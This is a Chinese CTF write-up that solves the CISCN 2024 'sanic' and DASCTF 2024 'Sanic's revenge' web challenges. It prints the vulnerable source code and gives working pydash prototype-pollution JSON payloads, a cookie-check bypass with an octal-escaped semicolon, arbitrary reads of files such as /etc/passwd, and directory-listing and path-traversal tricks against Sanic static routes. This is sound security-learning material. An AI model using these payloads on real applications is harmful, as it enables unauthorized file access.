[!NOTE] 一些小小的碎碎念
第一次看到sanic其实是不知所措的,感觉这个虽然是眼熟,但也仅限于眼熟,显而易见的,国赛没有做出来,也因为一些心态问题没有做复盘,时隔近两月,慢慢调整好心态后终于是借着gxn师傅的Sanic revenge进行了整体的复盘

这里放上gxn师傅的博客

1
2
https://www.cnblogs.com/gxngxngxn/p/18205235
https://www.cnblogs.com/gxngxngxn/p/18290489

ciscn2024 sanic

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

这里我卡住的第一个点就是对于adm;n的校验(国赛我就卡在了这里)因为这个是cookie,而我们又知道cookie的分隔符就是;,那么这里我们需要利用RFC2068 的编码规则,对;进行八进制转化,也就是转化为adm\073n就可以了
我们先尝试一下

我们发现可以成功绕过,于是继续往下走,去污染,发现源码在这里过滤了_.的组合

1
if key and value and type(key) is str and '_.' not in key:

所以我们可以使用_\\\\.去绕过,所以我们可以使用这个payload进行任意文件读取

1
{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}

之后发现可以任意文件读取,但是无法知道flag的位置和文件名,尝试读取/flag未果后猜测需要列举目录
看了gxn师傅的博客发现是需要看app.static这个注册路由的功能,源码如下

我们去看看下方的注释里怎么解释这几个参数的吧

这里需要让directory_view为True才能开启目录列举,而directory_handler可以指定列举的目录,于是我们继续跟进这里的directory_view

到了这里我们如何指定目录的方法也就明晰了,我们需要污染这里的directory和directory_view,前者为目录,后者为True,所以我们尝试看看怎么获取到static这个路由注册,这样我们就可以获取到我们想要的值
我们修改源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
# Session(app)


# @app.route('/', methods=['GET', 'POST'])
# async def index(request):
# return html(open('static/index.html').read())


# @app.route("/login")
# async def login(request):
# user = request.cookies.get("user")
# if user.lower() == 'adm;n':
# request.ctx.session['admin'] = True
# return text("login success")

# return text("login fail")


@app.route("/src")
async def src(request):
# return text(open(__file__).read())
eval(request.args.get("fault"))
return text(open(__file__).read())


# @app.route("/admin", methods=['GET', 'POST'])
# async def admin(request):
# if request.ctx.session.get('admin') == True:
# key = request.json['key']
# value = request.json['value']
# if key and value and type(key) is str and '_.' not in key:
# pollute = Pollute()
# pydash.set_(pollute, key, value)
# return text("success")
# else:
# return text("forbidden")

# return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

然后使用

1
http://127.0.0.1:8000/src?fault=print(app.router.name_index)

来列举注册过的路由,控制台回显如下

所以我们的名字就是

1
__mp_main__.static

然后我们通过索引去访问键值

1
http://127.0.0.1:8000/src?fault=print(app.router.name_index[%27__mp_main__.static%27])


但是我们的目的是要修改directory和directory_view,那么我们怎么获取到他们呢
这里就用到了name_index,在这里打断点看看(这里强烈建议使用pycharm)

这里我们找到了self.name_index[name]=route于是我们在这里下断点看看


我们发现handler可以获取到路由的状态,于是我们可以通过污染这个属性中的变量来达到我们方才分析的目的
于是我们接着尝试

1
http://127.0.0.1:8000/src?fault=print(app.router.name_index["__mp_main__.static"].handler.keywords["directory_handler"])


我们发现可以成功的调到这里,那么我们就可以通过污染它的值来进行利用
污染的payload如下

1
2
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}

(这里使用bp发包,也不知道我的hackbar有什么毛病)
发现回显为success,也就证明我们开启了目录列举功能
那么我们下一步的目标也很明确,就是污染到directory

我们尝试和刚才一样,直接污染directory,我们会发现方才的directory_view只是一个值,但是directory却是一个turple,所以我们没有办法直接去污染,我们找找看这个turple是在哪里被赋值的


我们可以看到,这个parts的值其实最后是给了_parts
于是我们访问这个值看看

1
print(app.router.name_index["__mp_main__.static"].handler.keywords["directory_handler"].directory._parts)


这里可能会有疑问,就是为什么非要去找这个_parts不可,而不是直接去污染这个parts,那么我们就要提到python中最基础的问题,turple和list的区别,如果我们去访问parts这个值,我们会发现返回值如下

所以这也就是为什么我们需要找到_parts这个值不可了,一切的问题解决,我们的payload也呼之欲出

1
2
3
4
5

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}


{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}


如果我们要得到flag文件,还需要进行一次污染

1
2

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}

这样我们就可以在/src路由中得到flag了

DASCTF 2024 七月赛 web Sanic’s revenge

这个题目是gxn师傅基于自己的另一个探索,也就是这道题的考点了
我们先看题目中可以直接获得的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2

# 这里的源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/*****secret********")
async def secret(request):
secret='**************************'
return text("can you find my route name ???"+secret)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir = create_log_dir(6)
log_dir_bak = log_dir + ".."
log_file = "/tmp/" + log_dir + "/access.log"
log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
# 生成日志文件
os.system("mkdir /tmp/" + log_dir)
with open(log_file, 'w') as f:
f.write(log)
# 备份日志文件
os.system("mkdir /tmp/" + log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':
app.run(host='0.0.0.0')

这段源码不难审计,但是最重要的点就是我们需要对这个file_or_directory的源码的审计
我们继续去审计原来的代码

疑问解答(感谢万能的晨曦✌)
Q:这个handle在哪儿调用了呀就要看这里
A:我们发现当用户请求一个目录,sanic路由系统匹配到静态文件服务路由,就会调用 _static_request_handler方法,这个方法中会调用handle方法,而执行这里
代码的要求是directory_view为true

解决了这个问题,我们接下来看一些代码里的问题

如果directory_view是true,就会进入_index,我们去看看_index

前面的路径就是由directory+current拼接起来的
所以我们如果可以控制current的值,也就可以实现目录穿越了
那么我们来看看current的处理逻辑

它其实是依赖于base和path的,那么如果我们可以控制这俩,我们就可以控制current

path

path来说,它就是我们网页访问的路径,是可控的

base

base是属性,可以被污染,所以也是可控的
那么我们就可以做到控制current了

举个栗子,比如说我的path是/static/fault…/,base是/static时,current是fault…,那么如果我让base是static/fault,那么current就是…了

==所以结合题目情况的总的思路就是,先开启目录列举,再构造或者找出一个带…的path,然后污染base使得current为…,这样就可以穿越到上层目录中实现列目录了==

那么我们结合这道题目来看的话,有两个容易卡住的点,一个就是waf不同于sanic,这道题的waf是这样的

1
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:

这道题的parts和proc是用来触发非法操作来让它记录的,这样我们就可以在adminLook中得到带有…的目录,从而构造出我们需要的current
第二个容易卡住的点就是如何才能知道需要列目录,这个就得用到file_or_directory比较简单的用法就是直接污染file_or_directory到根目录,这样就可以实现任意文件读取,通过读取proc/1/cmdline(梦回maple✌在我大一时候出的题)就可以找到start.sh从而找到python文件名,从而发现hint和完整python源码
完整源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash

# pydash==5.1.2

#源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass

def create_log_dir(n):
ret = ""
for i in range(n):
num = random.randint(0, 9)
letter = chr(random.randint(97, 122))
Letter = chr(random.randint(65, 90))
s = str(random.choice([num, letter, Letter]))
ret += s
return ret

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
with open("/h111int",'r') as f:
hint=f.read()
return text(hint)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
#方便管理员查看非法日志
log_dir=os.popen('ls /tmp -al').read();
return text(log_dir)

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir=create_log_dir(6)
log_dir_bak=log_dir+".."
log_file="/tmp/"+log_dir+"/access.log"
log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"
log='key: '+str(key)+'|'+'value: '+str(value);
#生成日志文件
os.system("mkdir /tmp/"+log_dir)
with open(log_file, 'w') as f:
f.write(log)
#备份日志文件
os.system("mkdir /tmp/"+log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")

if __name__ == '__main__':
app.run(host='0.0.0.0')

得到hint

1
2
flag in /app,but you need to find his name!!!
Find a way to see the file names in the app directory

这个hint也就提示我们列举目录
列举目录的方式也就是我们方才思路里说的
==所以结合题目情况的总的思路就是,先开启目录列举,再构造或者找出一个带…的path,然后污染base使得current为…,这样就可以穿越到上层目录中实现列目录了==
结合这两个难点被解决,以及如何列目录的方式被我们找到,那么一切都呼之欲出
payload如下

1
2
3
4
5
6
7
8
9
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler._parts","value": "/"} #非法操作触发记录

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true} #开启目录列举

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"} #切换目录到/tmp下

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/4FokJS"} #污染base


这样我们就可以在/static/4FokJS…/下看到flag的名字了
但是这还不够,如果我们这个时候直接访问/static/app/flag的话会出现如下情况

这是因为我们的file_or_directory还在/tmp目录,我们需要切换到根目录,才能读到flag
那么有人说我既然都能看到flag了,为什么不能在/static/4FokJS…/目录下直接读
就像这样

1
http://c4a6e774-5e02-4d07-b787-a7221e2bc985.node5.buuoj.cn:81/static/4FokJS../45W698WqtsgQT1_flag

那么就要思考一个问题了,我们使用/static/4FokJS…/的目的是什么,是为了构造出current为…来读取上层目录,如果直接这样读取,我们的current显然不再是…,那么/static/4FokJS…/也就不再是上层目录了,所以这样才会找不到flag
所以我们还需要加一个payload

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"} #切换回根目录

我们继续污染file_or_directory到根目录,这样我们就可以通过/app/45W698WqtsgQT1_flag得到flag了